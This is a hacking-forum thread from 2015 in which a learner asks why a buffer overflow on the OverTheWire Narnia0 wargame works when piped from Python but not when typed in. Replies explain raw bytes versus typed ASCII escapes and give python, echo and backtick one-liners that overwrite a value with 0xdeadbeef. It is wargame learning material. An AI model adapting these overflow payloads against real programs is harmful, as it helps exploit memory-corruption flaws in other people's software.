+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Why does buffer overflow work one way but not the other? (/Thread-Why-does-buffer-overflow-work-one-way-but-not-the-other)
Why does buffer overflow work one way but not the other? - insidious - 10-04-2015
Hey all,
I'm doing a buffer overflow challenge on the Wargame "Narnia" on OvertheWire:
http://overthewire.org/wargames/narnia/
changing the value to 0xdeadbeef works if i use the python command in terminal:
Code:
python -c 'print "A"*20 + "\xef\xeb\xad\xde"' | /narnia/narnia0but if i just put in
Code:
AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xdeam I doing something wrong?
RE: Why does buffer overflow work one way but not the other? - The Real Slim Shady - 10-04-2015
Well, I'm just taking a wild stab in the dark here...
But in the example that you say works, You have: \xef\xeb\xad\xde
In the example that you say doesn't work, You have: \xef\xbe\xad\xde
So of course they're going to have different results. You've provided different inputs.
But what I find odd - is that the one you say doesn't work, is the correct way to express 0xdeadbeef where as the one you say does work should be outputting 0xdeadebef
So you really should pay greater attention to detail - as as far as I am concerned, the one you say that doesn't work should work, and the one you say does work, should not work - as there is an obvious mistake.
RE: Why does buffer overflow work one way but not the other? - insidious - 10-04-2015
(10-04-2015, 05:54 AM)The Real Slim Shady Wrote: Well, I'm just taking a wild stab in the dark here...
But in the example that you say works, You have: \xef\xeb\xad\xde
In the example that you say doesn't work, You have: \xef\xbe\xad\xde
So of course they're going to have different results. You've provided different inputs.
But what I find odd - is that the one you say doesn't work, is the correct way to express 0xdeadbeef where as the one you say does work should be outputting 0xdeadebef
So you really should pay greater attention to detail - as as far as I am concerned, the one you say that doesn't work should work, and the one you say does work, should not work - as there is an obvious mistake.
Ah yeah that was a typo. The problem is that it doesn't change the mem, into deadbeef or any variation of it
I should post the entire output.
But im high af right now so i'll update in the morning,. But yeah that was just a typo
Thanks for your two pence thou!
RE: Why does buffer overflow work one way but not the other? - spjallþráð - 10-04-2015
This is actually pretty simple.
When you do it by printing the values using the Python interpreter, note that some of it is binary - unprintable characters. In this instance, what is being printed out and passed to the program is binary-data. This is handled as an invalid memory address pointing to 0xdeadbeef when it overwrites the register.
Code:
$ python -c 'print "A"*20 + "\xef\xeb\xad\xde"'
AAAAAAAAAAAAAAAAAAAA���Now, when you just paste in the characters, you are passing it the invalid memory address not as binary, but as a set of ASCII characters, and it doesn't see it as an address pointing to 0xdeadbeef, it sees it as whatever the fuck else.
This is binary exploitation 101, yo. Learn how different data types are treated differently and you will succeed.
Bonus round: you can do this with echo as well.
Code:
$ echo -ne 'AAAAAAAAAAAAAAAAAAAA\xef\xeb\xad\xde'
AAAAAAAAAAAAAAAAAAAA���Enjoy learning.
RE: Why does buffer overflow work one way but not the other? - The Real Slim Shady - 10-04-2015
Ah I missed the part about entering it as an argument... I thought he was comparing:
Code:
python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | /narnia/narnia0to:
Code:
python -c 'print "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"' | /narnia/narnia0which will work exactly the same if you don't make a typo lol. - not:
Code:
./narnia/narnia0 AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xdeRE: Why does buffer overflow work one way but not the other? - spjallþráð - 10-04-2015
Precisely. If it was an argument (one of the later challenges may involve an argv type input, this one, I believe is gets() from stdin), just for learning/fun sake, you would do it like so:
Code:
$ ./narnia/narnia0 `python -c 'print "A"*20 + "\xef\xeb\xad\xde"'`The use of backticks for command-substitution here allows us to do this.
RE: Why does buffer overflow work one way but not the other? - insidious - 10-07-2015
(10-04-2015, 06:16 PM)spjallþráð Wrote: This is actually pretty simple.
When you do it by printing the values using the Python interpreter, note that some of it is binary - unprintable characters. In this instance, what is being printed out and passed to the program is binary-data. This is handled as an invalid memory address pointing to 0xdeadbeef when it overwrites the register.
Code:$ python -c 'print "A"*20 + "\xef\xeb\xad\xde"' AAAAAAAAAAAAAAAAAAAA���
Now, when you just paste in the characters, you are passing it the invalid memory address not as binary, but as a set of ASCII characters, and it doesn't see it as an address pointing to 0xdeadbeef, it sees it as whatever the fuck else.
This is binary exploitation 101, yo. Learn how different data types are treated differently and you will succeed.
Bonus round: you can do this with echo as well.
Code:$ echo -ne 'AAAAAAAAAAAAAAAAAAAA\xef\xeb\xad\xde' AAAAAAAAAAAAAAAAAAAA���
Enjoy learning.
OH! OK, that makes sense. Yeah i'm just learning and had been doing WarGames while going through a Hacking book I got. I'l be sure too look into different data stypes
thanks!
(Could you by any chance recommend a good book/resource on learning how data types are treated?)
RE: Why does buffer overflow work one way but not the other? - spjallþráð - 10-07-2015
If you have not read them or started reading them, the following books are excellent for those getting into binary exploitation. Somewhat dated, but its best to start at the beginning, as all current mitigation/bypasses are just things built on the same shit.
Hacking - The Art of Exploitation (First Edition) [WARNING: PDF File]
Hacking - The Art of Exploitation (Second Edition) [WARNING: PDF File]
The Shellcoders Handbook (First Edition) [WARNING: CHM File]
The Shellcoders Handbook (Second Edition) [WARNING: PDF File]
RE: Why does buffer overflow work one way but not the other? - insidious - 10-08-2015
(10-07-2015, 04:57 AM)spjallþráð Wrote: If you have not read them or started reading them, the following books are excellent for those getting into binary exploitation. Somewhat dated, but its best to start at the beginning, as all current mitigation/bypasses are just things built on the same shit.Oh Cool! I already have the first book in physical form, and I will make sure to look through the second book too.
Hacking - The Art of Exploitation (First Edition) [WARNING: PDF File]
Hacking - The Art of Exploitation (Second Edition) [WARNING: PDF File]
The Shellcoders Handbook (First Edition) [WARNING: CHM File]
The Shellcoders Handbook (Second Edition) [WARNING: PDF File]
Thanks Again!